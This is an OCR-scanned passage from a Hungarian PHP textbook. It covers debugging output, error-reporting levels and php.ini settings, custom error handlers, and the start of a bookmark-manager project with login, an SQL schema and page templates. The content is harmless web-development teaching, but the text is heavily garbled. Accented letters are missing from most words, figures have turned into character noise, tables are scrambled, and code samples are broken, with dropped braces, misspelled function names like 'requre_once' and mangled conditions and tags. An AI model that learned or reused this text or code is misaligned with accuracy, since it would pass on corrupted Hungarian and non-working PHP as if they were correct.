hat oldalelemeket megjelenti. A hibakeressi informcikat ily mdon rdemes ellltani. A hibakeressi informciknak
a 26.1 pldakdhoz hasonlan megjegyzsekbe rejtse lehetv teszi, hogy akr

az;

les mkds eltti utols percig az; alkal

mazsunkban hagyjuk a hibakeres kdot. A tomb _ kiiratasa () fggvnyt a print_r () trdelfggvnyeknt (wrapper)
hasznlruk. A tomb_kiiratasa () fggvny egyszeren vdkarakterrel ltja el a HTML megjegyzs zr karaktereit.
A konkrt kimenet az; oldalnak radott vltozktl fgg, de arnikor a 23. fejezet 23.4 pldakdjhoz hozz;adtuk,

sorokkal egsztette ki a kd ltal ellltott HTML-t:


<!-- VLTOZ-KIRATS INDUL -->

<1-- GET VLTOZK -->


<1-- Array

-->
<!-- POST VLTOZK

--

>

<1-- Array

[felhasznaloi_nev]
[jelszo]

=>

=> teszt felhasznala

jelsze

-->

26

<1-- SESSION VLTOZK -->


<1-- Array

-->
<!-- COOKIE VLTOZK -->
<!-- Array

[PHPSESSID]

=> b2b5f56fad986dd73af33f470f3cl865

az;

albbi

Hibakeress

387

-->

<!--

VLTOZ-KIRATS VGE -->

Lthatjuk, hogy a kd megjelenti az elz oldalon lv bejelentkezsi felletrl kldtt


felhas znaloi _nev
PHPSESSID.

POST

vltozkat:

s j els z o. Megmutatja tovbb a felhasznl nevnek trolsra hasznlt munkamenet-vltozt is:

Ahogy arrl a 23. fejezetben sz volt, a PHP stik segtsgvel kapcsolja a munkamenet-vltozkat az adott fel

hasznlkhoz. A kd kirja a PHPSESSIO pszeud vleden szmot, ami a stiben, az adott felhasznl azonostsa rdekben
troldik el.

Hibajelentsi szintek
A PHP-nak megszabhatjuk, mennyire legyen akadkoskod a hibkkal. Megadhatjuk, hogy milyen tpus esemnyek generl
janak hibazeneteket. Alaprtelmezsben a PHP az rtestseken (notice tpus figyelmeztetseken l kvl minden hibt jelez.
A hibajelentsi szintet a 26.1 tblzatban lthat, elre meghatrozott kanstansok segtsgvel llthatjuk be.
26.1 tbla:

Hibajelentsi llandk
Jelentse

rtk

Nv

E ERROR

Futsidben jelenti a vgzetes hibkat.

E_WARNING

Futsidben jelenti a nem vgzetes hibkat.

E PARSE

Jelenti az rtelmezsi hibkat.

E NOTICE

Jelenti az rtestseket, amelyek kzlik, hogy valami, amit tettnk, hibs lehet.

16

Jelenti a PHP motor indtsakor keletkez hibkat.

E CORE ERROR

32

Jelenti a PHP motor indtsakor keletkez, nem vgzetes hibkat.

E CORE WARNING

64

Jelenti a fordtskor keletkez hibkat.

E-COMPILE-ERROR

128

E-COMPILE-WARNING

Jelenti a fordtskor keletkez, nem vgzetes hibkat.

256

E USER ERROR

Jelenti a felhasznl ltal kivltott hibkat.

512

E USER WARNING

Jelenti a felhasznl ltal kivltott figyelmeztetseket.

1024

E USER NOTICE

Jelenti a felhasznl ltal kivltott rtestseket.

6143

E ALL

Mindent jelent az E_STRICT szinten jelentett hibkon s figyelmeztetseken


kvl.

2048

Jelenti a kifogsolt s nem ajnlott viselkedst; nincsen benne az E_ALL szint

E STRICT

ben, de nagyon hasznos a kd-jratervezshez (code refactoring). Vltoztatsokat javasol az interoperabili ts rdekben.
4096

Jelenti az elkaphat vgzetes hibkat.

E RECOVERABLE ERROR

Mindegyik konstans jelenthet vagy figyelmen kvl hagyhat hibatpust jell. Ha pldul az E_ ERROR hibaszintet lltjuk
be, a PHP csak a vgzetes hibkat fogja jelenteni. Az llandkat binris aritmetikai mveletekkel kombinlva tovbbi hibaszin
teket rhetnk el.
Az alaprtelmezett hibaszintet, ami az rtestsek kivtelvel minden hibt jelent, a kvetkezkppen hatrozhatjuk meg:
E

ALL

&

-E NOTICE

Ez a kifejezs az elre meghatrozott llandk kzl kettt tartalmaz, s bitmveleti jelekkel kombinlja azokat. Az s jel

( & ) az S, a tilde ( - ) pedig a NEM bitmveleti jel. A kifejezs a kvetkezkppen olvasand: E_ALL

S NEM E_NOTICE.

Az E_ALL nmagban is az sszes tbbi hibatpus kombincija (az E_ STRICT kivtelvel). Egyenrtk azzal, ha az sz
szes tbbi szintet a VAGY bitmveleti jellel
E_ERROR

E_WARNING

E_COMPILE_ERROR

E_PARSE

( l ) kombinljuk:
E_NOTICE

IE_COMPILE_WARNING

E_CORE ERROR

E_USER_ERROR

E_CORE_WARNING

E USER_WARNING

USER NOTICE

Hasonlkppen az alaprtelmezett hibajelentsi szint is meghatrozhat, ha az E _NOTICE kivtelvel az sszes hibaszintet


VAGY-gyal kombinljuk:
E_ERROR

E_WARNING

E COMPILE WARNING

E_PARSE

E_CORE_ERROR

E USER ERROR

E_CORE_WARNING

E USER WARNING

E_COMPILE_ERROR

E USER NOTICE

26

388

26. fejezet

A hibajelentsi belltsok mdostsa


A hibajelentsi belltsokat globlis rvnnyel a php. ini fjlban adhatjuk meg. de kdonknt is meghatrozhatjuk ket.
Ha az sszes kd esetben szeretnnk mdostani a hibajelentst, az alaprtelmezert php.ini fjl albbi ngy sort kell meg
vltoztatni:
error reporting

E ALL

display_errors

On

log_errors

Off

track errors

Off

&

-E NOTICE

Az alaprtelmezert globlis belltsok:

Jelents az rtestsek kivtelvel rninden hibrl


Hibazenetek hozzadsa a normlis kimenethez HTML-knt
A hibazenetek nincsenek lemezre naplzva
A hibk nem lesznek kvetve, hanem a $php_errormsg vltozban eltrolva

Az ltalunk legnagyobb valsznsggel vgrehajtand vltoztats a hibajelentsi szint felemelse az E_ALL

E_ STRICT

szintre. A mdosts azt eredmnyezi, hogy a PHP szmtalan rtestst megjelent az olyan esetekben, amelyek hibra uralhat
nak, vagy egyszeren csak abbl kvetkeznek, hogy a programoz kihasznlja a PHP gyengn tpusos jellegt. Illetve azt, hogy
automatikusan O rtkkel hozza ltre a vltozkat.
A hibakeress idejre hasznos lehet az error_reporting szint magasabbra lltsa. Ha sajt hibazenetekkel tjkoz
tatjuk a felhasznlt, akkor az lesben mkd alkalmazson kapcsoljuk ki a display_errors belltst, kapcsoljuk be
a log_errors-t, a hibajelentsi szintet pedig hagyjuk magasan! Ekkor brmilyen problma esetn a hibanaplkban talljuk
a rszletesen kifejtert hibkat.
A hibakvetssei kapcsolaros track_ errors bellts bekapcsolsa abban nyjthat segtsget, hogy sajt kdunkban fog
lalkozzunk a hibkkal, ne a PHP alaprtelmezett szolgltatsaira hagyatkozzunk. A PHP ugyan hasznos hibazeneteket ad,
alaprtelmezert mkdse azonban csnyn nzhet ki, ha a dolgok elromlanak.
Vgzetes hiba esetn a PHP az
<br>
<b>Error Type<lb>:

error message in <b>pathlfile.php<lb>

on line <b>lineNumber<lb><br>

(<b>Hiba tpusa<lb>:

hibazenet az <b>eleresi_utvonal/fajl.php</b>

fjl <b>sorSzama</b> sorban<br>)

szveget jelenti meg. s lelltja a kd futtatst. Nem vgzeres hibk esetn ugyanez a szveg jelenik meg. de a furtats foly
tatdhat.
Ez a HTML jl szrevehetv teszi a hibt, viszont nem nz ki tl meggyzen. A hibazenet stlusa a lehet legritkbb
esetben illik az oldal tbbi rsznek megjelenshez. Radsul akr azt is eredmnyezheti, hogy egyes felhasznlk egyltaln
nem ltnak az zenetbl semmit. Ez akkor fordulhat el, ha az oldal tartalma tblzaton bell jelenik meg. s bngszjk
szigoran veszi, hogy csak szablyos HTML-t jelentsen meg. Egyes bngszk res kpernyknt jelentik meg a tblzat
elemeit megnyit, de azokat be nem zr HTML-t, gy pldul a kvetkez kdot:
<table>
<tr><td>

<b r>
<b>Error Type<lb>:

error message in <b>path/file.php</b>

on line <b>lineNumber<lb><br>

Nem kell ragaszkodnunk a PHP alaprtelmezett hibakezelshez, s nem szksges rninden fjlhoz ugyanazokat a be

26

lltsokat hasznlni. Ha csak az aktulisan hasznlt kdban szeretnnk megvltoztaeni a hibajelentsi szintet, az error_
reporting () fggvnyt meghvva tehetjk ezt meg.

Paramterknt hibajelentsi llandr vagy azok kombincijt tadva ugyangy llthatjuk be a hibajelentsi szintet, rnint
a php.ini ugyanilyen nev direktvjban. A fggvny visszatrsi rtke az elz hibajelentsi szint lesz. A fggvny hasz
nlatnak gyakori mdja a kvetkez:
ll hibajelents kikapcsolsa
$elozo_szint

error_reporting(O);

ll ide kerl a figyelmeztetseket elllt kd


ll hibajelents visszakapcsolsa
error reporting($elozo_szint);

Hibakeress

389

Ez a kdrszlee kikapcsolja a hibajelentsr, gy olyan kdot is futtarharunk, amely egybknt j esllyel nem kivnt figyel
meztetseker generlna a kpernyre.
A hibajelents vgleges kikapcsolsa nem ajnlott, mert megnehezti a programozsi hibk felkutatsr s kijavtst.

Sajt hibk kivltsa


A trigger_error ( ) fggvnyt sajt hibink kivltsra hasznlhatjuk. Az gy ltrehozott hibkat ugyangy kezeli a PHP, mint a ha
gyomnyos hibkat. A fggvny hibazenetet vr, s opcionlisan hibarpust is megadhatunk neki. A hibatpus az E_USER_ERROR, az
E_USER_ WARNING vagy az E_USER_NOTICE valamelyike lehet. Ha nem adjuk meg, az E_USER_NOTICE lesz az alaprtelmezen tpus.

A trigger_error () fggvnyt a kvetkezkppen hasznlhatj uk:


trigger_error('A szmtgp 15msodpercen bell megsemmisti nmagt',

E USER_WARNING);

A hibakezels elegns mdja


Aki C++ vagy Java tern szerzett tapasztalatokkal rkezett a PHP vilgba, az bizonyra jl ismeri a kivtelek hasznlatr.
A kivtelek lehetv teszik a fggvnyeknek, hogy jelezzk a hiba bekvetkeztt, majd hagyjk, hogy kivtelkezel foglalkozzon
a hibval. A kivtelek kivl mdszert jelentenek nagy projektek hibinak a kezelsre. Rszletesen bemutattuk ket a Hiba- s
kivtelkezels cm 7. fejezetben, gy itt s most nem foglalkozunk velk.
Mr lttuk, hogyan vltsuk ki sajt hibinkat. Ezen tlmenen sajt hibakezelket is alkalmazharunk a hibk elkapsra.
A set_error_handler () fggvnyben olyan fggvnyt adharunk meg, amit felhasznlszint hibk, figyelmeztetsek
s rtestsek bekvetkezsekor kell meghvni. A set_error_handler() fggvnyt a hibakezelknt hasznlni kivnt fgg
vny nevvel kell meghvni.
Hibakezel fggvnynknek kt paramtert kell fogadni: a hiba tpusr s a hibazenetet. A fggvnynek e kt vltoz alap
jn el kell tudni dntenie, hogyan kezelj e a hibt. A hibatpusnak a meghatrozon hibatpus-konstansok valamelyiknek kell
lennie. A hibazenet a hibt ler karakterlnc
A set_error_handler () fggvny meghvsa pldul a kvetkezkppen nzhet ki:
set_error_handler('sajat_hibakezelo');

Mivel a sa jat_hibakezelo() fggvny meghvsra utasrottuk a PHP-t, meg kell adnunk az ilyen nev fggvnyt. En
nek a fggvnynek az albbi a prototpusa:
sajat_hibakezelo(int hibatipus,

[,

string hibauzenet

string hibas fajl

[,

int hibas_sor

[,

array hibakornyezet]]]))

Hogy pontosan mit csinl a fggvny, az mr tlnk fgg.


A kezelfggvnynek radott paramterek a kvetkezk:
A hiba tpusa
A hibazenet
A fjl, amelyben a hiba trtnt
A sor, amelyben a hiba trtnt
A szimblumrbla - vagyis az sszes vltoz s azok rtke a hiba bekvetkezsnek idejben
A kezelfggvny lehetsges mveletei az albbiak lehetnek:
A megadon hibazenet megjelentse
Informci eitraisa a naplfjlban
A hiba elkldse e-mailben a megadott cmre
A kd befejezse
A 26.2 pldakdban hibakezelr deklarlunk, a set_error_handler () fggvnnyel belltjuk a hibakezelt, majd hibkar generlunk.
26.2 pldakd: kezelo.php-A kd egyni hibakezelt deklarl, s klnfle hibkat llt el
<?php

ll A hibakezel fggvny
function sajatHibaKezelo ($hlbatipus,

$hlbauzenet,

$hlbas_fajl,

$hibas_sor)

echo "<br /><table bgcolor=\"lcccccc\"><tr><td>


<p><strong>HIBA:</strong> ".$hibauzenet."</p>
<p>Krjk,

prblja UJra,

vagy lpjen velnk kapcsolatba,

s tjkoztasson,

hogy hiba trtnt a ".$hibas fajl." fjl .$hibas sor." sorban!"</p>";

26

390

26. fejezet

l l

if (($hibatipus == E USER_ERROR)
echo

"<p>A hiba vgzetes volt,

($hibatipus == E ERROR))

a program vget rt </p>

</td></tr></table>";

//nyitott erforrsok,

pldul oldallblc stb.

bezrsa

exit;

echo

ll

"</td></tr></table>";

A hibakezel belltsa

set error_handler('sajatHibaKezelo');

//klnbz szint

hibk kivltsa

trigger_error('Trigger fggvny meghvva,


fopen('nofile',

E_USER_NOTICE);

'r');

trigger error('Ez a szmtgp bzs szn',

E_USER_WARNING);

include ('nofile');
trigger_error('A szmtgp

15msodpercen bell megsemmisti

nmagt',

E_USER_ERROR);

?>

A kd eredmnyt a 26.1 brn lchaguk.


Ez az egyni hibakezel szinte semmivel nem tbb a PHP alaprtelmezett viselkedsnL Mivel azonban mi rtuk a kdjt,
brmit beprogramozhacunk. Eldnthetjk, hogy mit mondjunk
sk meg az informcit gy, hogy illeszkedjen

az

az

oldal ltogatinak, ha valami balul sl el, s hogyan jelent

oldal tbbi rszhez. Ami ennl is fontosabb: mi dnthetjk el, hogy mi tr

tnjen. Folytatdjk a kd? Naplzzuk vagy megjelentsk a hibazenetet? Automatikusan riasszuk a mszaki tmogatst?

T-....'1.
.

l lo'-

""--
" __

l iiii\-r;;:.;..,)r.lodiOts- l"<>""ktklll
l6'-,n tijd;.- loQIYDill;a-..-
..,a-.

BJB.t:baW......,

..

K)llk.

tJI

"'*"

""F

""""

'

J
J
J

26.1 bra: Sajt hibakezel hasznlatval a PHP hibazeneteinl bartsgosabbakat adhatunk Jelhasznlinknak.
Fontos megjegyezni, hogy hibakezelnknek nem feladata mindenfle hibatpussal foglalkozni. Bizonyos hibk, gy az r
telmezsi s a vgzetes futsidej hibk tovbbra is az alaprtelmezett hibakezelsi mkdst fogjk kiknyszerteni. Ha sze
reennk ezt elkerlni, akkor mieltt tadnnk a paramtereket a vgzetes hibt kivltani kpes fggvnynek, gondoskodjunk
alapos ellenrzskrl, s vltsuk ki sajt E_USER_ERROR szint hibnkat, ha a paramterek hibt okoznak!
Vgezetl egy hasznos funkci: ha hibakezetnk explicit false rckkel tr vissza, a PHP beptett hibakezelje lesz meg

26

hvva. gy mi magunk kezelhegk

az

E_USER_*

hibkat, a hagyomnyos hibkat pedig meghagyhatjuk a beptett kezelnek.

Hogyan tovbb?
A Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse cm 27. fejezetben elkezdjk els projektnket.
Megvizsgljuk, milyen mdszerrel azonosthag uk
szabni oldalunk tartalmr.

az

oldalunkra visszatr felhasznlkat, s hogyan tudjuk szmukra testre

27
Felhasznli hitelests megvalstsa
s szemlyre szabott tartalom
megjelentse
Ebben a projektben rvesszk a felhasznlkat, hogy regisztrljanak weboldalunkon. Ha ezt megteszik, nyomon kvethetjk,
hogy mi rdekli ket, majd ennek megfelelen a szmukra rdekes tartalmat jelentjk meg. Vagyis nem tesznk mst, mint
a felhasznli ignyeknek megfelel, szemlyre szabott tartalmat knlunk ltogatinknak.
Projektnk lehetsget ad a felhasznlknak, hogy internetes knyvjelzk gyjtemnyt lltsk ssze, s a korbban elmen
rett hivatkozsaik alapjn vlheten ket rdekl tovbbi hivatkozsokat ajnlunk figyelmkbe. A szemlyre szabs szinte br
milyen webalap alkalmazsban lehetv teszi, hogy a felhasznlk ltal ignyelt tartalmat az ltaluk elvrt formban jelentsk
meg nekik.
Knyvnk V. rszben minden projektet, gy a jelenlegit is azzal kezdjk, hogy vgiggondoljuk a projekt kvetelmnyeit,
amelyek hasonlak azokhoz az elvrsokhoz, amiket valdi gyfeleink trnasztannak. Ezen kvetelmnyek alapjn megtervez
zk a megolds alkotelemeit s azok egymshoz val kapcsolatt, vgl pedig megvalstjuk az egyes komponenseket.
A jelenlegi projektben az albbi funkcikat kell ltrehozni:
Bejelentkezs s felhasznlk hitelestse

Jelszavak kezelse
Felhasznli preferencik feljegyzse
Tartalom szemlyre szabsa
Tartalom ajnlsa a felhasznlrl megszerzett informcik alapjn

A megolds alkotelemei
Projektnk sorn feladatunk egy online knyvjelzkezel rendszer prototpusnak elksztse lesz, amit nevezznk
PHPbookmarknak! Alkalmazsunk hasonl lesz a http://www.backRip.com oldalon elrhet BackRiphez, termszetesen
azonban annl korltozottabb funkcikat knl majd.
A rendszernek lehetv kell tennie a felhasznlknak a bejelentkezst s szemlyes knyvjelzik eltrolst, majd szemlyes
preferenciik alapjn ket rdekl tovbbi weboldalakat kell :Ynlania szmukra.
A megolds alkotelemei hrom fbb kategriba sorolhatk:
Be kell tudnunk azonostani az egyes felhasznlkat, illetve valamilyen mdszerrel hitelestennk is kell ket.
El kell tudnunk trolni az egyes felhasznlk knyvjelzi t. A felhasznlknak lehetv kell tenni, hogy knyvjelzket
vegyenek fel s trljenek.
Az alapjn, amit mr megtudtunk a felhasznlkrl, kpesnek kell lennnk ket rdekl weboldalakat ajnlani szmukra.
Most, hogy mr tisztban vagyunk a projekt lnyegvel, elkezdhetjk megtervezni a megoldst s annak alkotelemei t. Nz
zk meg az elbb emltett hrom f elvrs lehetsges megoldsait!

Felhasznli azonosts s szemlyre szabs


Szmos lehetsg knlkozik a felhasznli hitelestsre, ahogy ezt a knyv korbbi rszben mr lttuk. Mivel szemlyre sza
bott tartalmat szetetnnk knlni a ltogatknak, felhasznli azonostikat egy MySQL adatbzisban troljuk el, hogy azok
segtsgvel ellenrizhessk ket.

392

27. fejezet

Ha szeremnk, hogy felhasznlink bejelenckezhessenek felhasznli nevkkel s jelszavukkal, a kvetkez alkotelemekre


lesz szksgnk:
A felhasznlknak lehetv kell tenni, hogy regisztrls sorn megadjk felhasznli nevket s jelszavukat. Valamilyen
formban korltoznunk kell az egyes felhasznli nevek s jelszavak hosszt s formtumt. Biztonsgi okokbl titkost
va kell trolnunk a jelszavakat.
A felhasznlknak be kell tudniuk jelentkezni a regisztrci sorn megadott azonostkkal.
Az oldal hasznlatnak befejezse utn a felhasznlknak ki kell tudniuk jelentkezni. Ennek a funkcinak nincs kl
nsebb jelentsge, ha az emberek otthoni szmtgpkrl hasznljk az oldalt, tbb felhasznl ltal megosztott PC
esetben azonban igen foncos szerepet jtszik biztonsgi tren.
Az oldalnak el kell tudni dntenie, hogy egy adott felhasznl be van-e jelentkezve, s hozz kell frnie a bejelentkezett
Felhasznlk adataihoz.
A biztonsg nvelse rdekben garantlni kell a felhasznlknak a jelszavuk megvltoztatsnak lehetsgc.
Lehetv kell tenni, hogy a Felhasznlk szemlyes kzremkdsnk nlkl j jelszt kaphassanak. Ezt leginkbb gy szek
tk megoldani, hogy a regisztrci sorn megadott e-mail cmre elkldik a felhasznlnak a jelszt. Ebbl kvetkezik, hogy
a regisztrcikor el kell trolnunk a Felhasznlk e-mail cmt. Mivel titkostott formban troljuk a jelszavakat, s az eredeti
jelszavakat ebbl nem tudjuk visszalltani, lnyegben j jelszt kell generlni, belltani s elkldeni a felhasznlnak.
A projekt megvalstshoz fggvnyeket fogunk rni minden egyes funkcihoz. A fggvnyek tbbsgc ms projektjeink
ben is fel tudjuk majd hasznlni - igaz, ehhez esetenknt apr mdostsokra lehet majd szksg.

knyvjelzk trolsa

A Felhasznlk knyvjelzinek is helyet kell adnunk MySQL adatbzisunkban. Az albbi funkcikat kell megvalstanunk:
A Felhasznlk visszakereshetik s megtekinehetik knyvjelziket.
A Felhasznlk j knyvjelzket adhatnak a meglvkhz. Az oldalnak ellenriznie kell, vajon rvnyes URL-eket adnak-e meg.
A Felhasznlk trilierik knyvjelziket.
Ezeket a lehetsgeket is fggvnyek megrsval fogjuk megteremteni.

Knyvjelzk ajnlsa
Tbbfle megkzeltst alkalmazhatunk arra, hogyan ajnljunk knyvjelzket a felhasznlknak. Figyelmkbe ajnlhatnnk
pldul a legnpszerbb vagy egy adott tmn bell legnpszerbb oldalakat. Ebben a projektben azonban azt a megoldst
vlasztj uk, hogy olyan felhasznlkat keresnk, akiknek a bejelentkezett felhasznlval egyez knyvjelzjk van, s ezeknek
a felhasznlknak a tovbbi knyvjelzit ajnljuk a bejelentkezett felhasznlnak. A szemlyes jelleg knyvjelzk tovbbajn
lsnak elkerlse rdekben csak olyan knyvjelzket fogunk ajnlani, amiket egynl tbb felhasznl trole el.
Ezt a funkcit is fggvnyrssal fogjuk megvalstani.

A megolds ttekintse
Firklgattunk egy kicsit a szalvtnkra, gy kaptuk a 27.1 brn lthat, a projektet brzol folyamatbrt.

27
27.1 bra: A

PHPbookmark rendszer funkcii.

Felhasznli hitelests megvalstsa s szemlyre szabon tartalom megjelentse

393

Az brn lthat mindegyik tglalaphoz egy-egy modult fejleszthetnk; van kztk, amelyikhez egy, van, amelyikhez kt
kdot kell rni. Az albbi terletekhez fggvnyknyvtrakat is ltrehozhatunk:
Felhasznli hitelests
Knyvjelzk trolsa s visszakeresse
Adatellenrzs
Adatbzishoz csatlakozs
Kimenet megjelentse bngszben. A teljes HTML-ellltst erre a fggvnyknyvtrra korltozzuk, hogy egysges
megjelentst adjunk a teljes oldalnak. (Ez a megkzelts ismt csak a mkds s a tartalom elklntst szolglja.)
A rendszerhez ezen kvl mg egy olyan adatbzist is ltre kell hozni, amely az adatok feldolgozst fogja vgezni.
A megoldst alkot kdokat nem teljes kren mutatjuk be, de az alkalmazs sszes kdja megcallhat
a

www.perfactkiado.hu/mellekletek oldalrl letlthet mellkletek

27_ fej e zet

knyvtrban. A beillesztett fjlok

sszefoglalst a 27 .l tblzat tartalmazza.


27.1

tblzat: A PHPbookmark alkalmazsfjijai

Fjlnv

Lers

konyvjelzok.sql

Az alkalmazs adatbzist ltrehoz SQL kd

bejelentkezes.php

Nyitoldali bejelentkezsi fellet a rendszerhez

regisztracios_urlap.php

Regisztrcis rlap a felhasznlknak

regisztracio_uj.php

Az j regisztrcikat feldolgoz kd

elfelejtett_urlap.php

Elfelejten jelsz esetn kitltend rlap a felhasznlknak

elfelejtett_jelszo.php

Az elfelejten jelszt visszallt kd

tag.php

A felhasznl sajt oldala, ahol aktulis knyvjelzit lthatja

kj_hozzaadasa_urlap.php

j knyvjelzk hozzadsra szolgl rlap

kj_hozzaadasa.php

Az j knyvjelzket az adatbzishoz hozzad kd

kj_torlese.php

A kijellt knyvjelzket a felhasznl listjbl trl kd

ajanlas.php

A felhasznlknak a hasonl rdeklds trsaik knyvjelzit


ajnl kd

jelszo_valtoztatas_urlap.php

A regisztrlt felhasznlk ltal a jelszvltoztatshoz kitltend


rlap

jelszo_valtoztatas.php

A felhasznl jelszavt az adatbzisban megvltoztat kd

kijelentkezes.php

A felhasznlt az alkalmazsbl kilptet kd

konyvjelzo_fuggvenyek.php

A knyvjelzkezelssei kapcsolatos fggvnyknyvtr

adat_ellenorzo_fuggvenyek.php

A felhasznl ltal bevin adatokat ellenrz fggvnyek

adatbazis fuggvenyek.php

Az adatbzishoz kapcsoldsra hasznlt fggvnyek

felhasznaloi_hitelesites_fuggvenyek.php

A felhasznli hitelests fggvnyei

url fuggvenyek.php

Knyvjelzk hozzadshoz s trlshez, illetve ajnlshoz szk


sges fggvnyek

kirneneti_fuggvenyek.php

A kimenetet HTML-knt formz fggvnyek

konyvjelzo.gif

A PHPbookmark alkalmazs logja

Legelszr is az alkalmazs MySQL adatbzist hozzuk ltre, mert erre gyakorlatilag minden ms funkci mkdshez
szksg lesz.
Ezt kveten abban a sorrendben haladunk a kddal, ahogy azt eredetileg megirtk, gy a nyitoldal utn kvetkezik a fel
hasznli hitelests, majd a knyvjelzk trolsa s visszakeresse, s legvgl azok ajnlsa. Ez a sorrend radsul viszonylag
logikus is; az egsz abbl addik, hogy vgiggondoljuk, hogyan plnek egymsra a komponensek, majd elszr azokat az ele
meket hozzuk ltre, amelyekre a ksbbi medulokhoz szksg lesz.

Megjegyzs: Az alkalmazs hibtlan megjelentshez javaScriptet tmogat bngszre van szksg.

27

394

27.fezet

Az adatbzis ltrehozsa
A PHPbookmark adatbzis igen egyszer felptssel rendelkezik. El kell trolni a felhasznlkat, illetve azok e-mail cmt s
jelszavt.Trolnunk kell tovbb a knyvjelzk URL-jt.Egy felhasznlnak tbb knyvjelzje is lehet,s tbb felhasznl is
elmentheti ugyanazt a knyvjelzt. Mindezek miatt kt tblra lesz szksgnk: fe lhasznalo s konyvjelzo ( 27 .2 bra).
user
username

passwd

laura

7cbf26201 e73c9b

laura@tangledweb.com.au

luke

1fef10690eeb2e59

luke@tangledweb.com.au

email

username

bm_URL

laura

http://slashdot.org

laura

http://php.net

27.2 bra: A PHPbookmark rendszer adatbzissmja.

A felhasznala tbla a felhasznlk felhasznli nevt (ez az elsdleges kulcs),jelszavt s e-mail cmt trolja.
A konyvjelz tblba felhasznli nv s knyvjelz (kj_URL) prok kerlnek. Az ebben a tblban lv felhasznli nv
a felhasznal o tbla felhasznli nevre hivatkozik.
Az adatbzist, illetve az adatbzishoz az internetrl csatlakoz felhasznlt ltrehoz SQL kdot a 27.1 pldakd tartal
mazza. Ha sajt rendszernkn kvnjuk hasznlni,mdostanunk kell ezt a fjlt. Ne felejtsk el a felhasznl jelszavt bizton
sgosabbra cserlni!
27.1 pldakd: konyjelzok. sql -A knyvjelzk adatbzist ltrehoz SQL fjl
CREATE DATABASE konyvjelzok;
USE konyvjelzok;

CREATE TABLE felhasznala


felhasznaloi_nev VARCHAR(16) NOT NULL PRIMARY

KEY,

jlsz CHAR(40) NOT NULL,


email VARCHAR(100) NOT NULL
);

CREATE TABLE konyvjelzo (


felhasznaloi_nev VARCHAR(l6) NOT NULL,
kj_URL VARCHAR(255) NOT NULL,
INDEX (felhasznaloi_nev),
INDEX (kj_URL),
PRIMARY

KEY(felhasznaloi

nev,

kj_URL)

);

GRANT SELECT,

INSERT,

UPDATE,

DELETE

ON konyvjelzok.*
TO kj felhasznalo@localhost IDENTIFIED BY

'jelszo';

Az adatbzist gy tudjuk ltrehozni rendszernkn, ha root MySQL-felhasznlknt lefuttatjuk a fenti parancsokat.A k

27

vetkez paranccsal tehetjk ezt meg rendszernk parancssorbl:


mysql

-u

root

-p

<

konyjelzok.sql

A rendszer krni fogja a jelsz begpelst.


Ha az adatbzis ltrejtt, kszen llunk a folytatsra: ksztsk el az oldalt!

Felhasznli hitelests megvalstsa s szemlyre szabott carealom megjelencse

A nyitoldalltrehozsa
A:z. elskne elksztend oldal neve bejelentkezes.php, mert itt knljuk fel a felhasznlknak a rendszerbe bejelentkezs

lehecsgc. A nyitoldal kdjt a 27.2 pldakd tartalmazza.


27.2 pldakd: bejelentkezes.php-A PHPbookmark rendszer nyitoldala
<?php
require_once('konyvjelzo_fuggvenyek.php');
html fejlec_letrehozasa(' ');
oldal info_megjelenitese();
bejelentkezesi_urlap_megjelenitese();

html_lablec_letrehozas();
?>

Nagyon egyszer kddal llunk szemben, mert tbbnyire csak az alkalmazshoz ltrehozand fggvny API (alkalmazs
programozsi interfsz) fggvnyeit hvja meg. Rvidesen rszleeesen is megvizsgljuk ezeket a fggvnyeket. Erre a fjira
rnzve azt lthatjuk, hogy beszr egy (a fggvnyeket tartalmaz) fjlt, majd ms fggvnyeket meghvva ltrehozza a HTML
fejlcec, megjelenic valamilyen tartalmat, vgl pedig elkszti a HTML lblcet.
A kd ltal ellltott kimenetet a 27.3 brn ltjuk.

1tt-..I
Cf;i ::: -==,;l
- ,........ _..,...

...

PHPbookmark

T..... _.......,.. __
.,..... ....................... \OIIIIolll!
O.V ... -----...

,;;:

lli:.
l

27.3 bra: A PHPbookmark rendszer nyitoldalt a bejeleutkezes.php fjlban tallhat

HTML renderel fggvnyek lltjk el.


A rendszerhez szksges fggvnyeket a 27.3 pldakdban lthat konyvjelzo_fuggvenyek. php fjlba illesztettk bele.
27.3 pldak d: ko nyvjel z o_ fuggven yek. php - A PHPbookmark alkalmazs fggvnyeit be illeszt fjl
<?php

ll Ezt a fjlt az sszes fjlba beilleszthetjk,


ll gy mindegyik tartalmazni fogja fggvnyeinket s kivteleinket
require_once('adat_ellenorzo_fuggvenyek.php');
require_once('adatbazis_fuggvenyek.php');
require_once('felhasznaloi_hitelesites_fuggvenyek.php');
requre_once('kimeneti fuggvenyek.php');
require_once('url fuggvenyek.php');
?>

Lthatjuk, hogy ez a fjl csupn troljul szolgl az alkalmazsban hasznland t msik beillesztett fjlnak. A:z.rt adtunk
ilyen struktrt a projektnek, mert a fggvnyek jl elklnthet logikai csoportokba sorolhatk. Ezek kzl egyes fggvny
csoportokat vlheten ms projektekben is kivlan felhasznlhatunk majd, ezrt kln llomnyokba pakoltuk, hogy ksbb

395

396

27. fejezet

knnyen megtallhassuk ket. Akonyvjelzo_fuggvenyek. php fjlt azrt hoztuk ltre, mert az t fggvnyfjl tbbs
gt szinte mindegyik kdban hasznlni fogjuk. Egyszerbb ezt az egy fjlt beilleszteni a kdba,rnint rninden alkalommal t
require utastst kiadni.
Ebben a konkrt esetben a kimeneti_fuggvenyek. php fjl fggvnyeit hasznljuk. Mindegyik magtl rtetd
fggvny, s viszonylag egyszer HMTL kimenetet eredmnyez. Ez a fjl tartalmazza azt a ngy fggvnyt ( html_fejlee_
letrehozasa(), oldal_info_megjelenitese(), bejelentkezesi_urlap_megjelenitese () s html_
lablec_letrehozasa ()),amit nhny tovbbival egyetemben a bejelentkezes. ph p fjlban fogunk hasznlni .
Nem fogunk mind a ngy fggvnyen egyenknt vgigmenni,pldaknt nzzk meg rszletesen az egyiket! Ahtml_
fejlee_letrehozasa () fggvny kdjt a 27.4 pldakdban lthatjuk.
27.4

pldakd: A

kimeneti_fuggvenyek .php knyvtr html_fejlec_letrehozasa ()fggvnye- Ez afggvny

kszti el az alkalmazs minden oldaln lthat, llandfejlcet


function html feJlec_letrehozasa($oldalcim)
ll HTML fejlc megjelenitse
?>
<html>
<head>
<title><?php echo $oldalcim;?><ltitle>
<style>

{ font-family: Arial,

body
li,

hr

td

font-family:

color:

Helvetica,

Arial,

sans-serif; font-size: l3px l

Helvetica,

sans-serif; font-size: l3px

#3333cc; width=300px; text-align:leftl

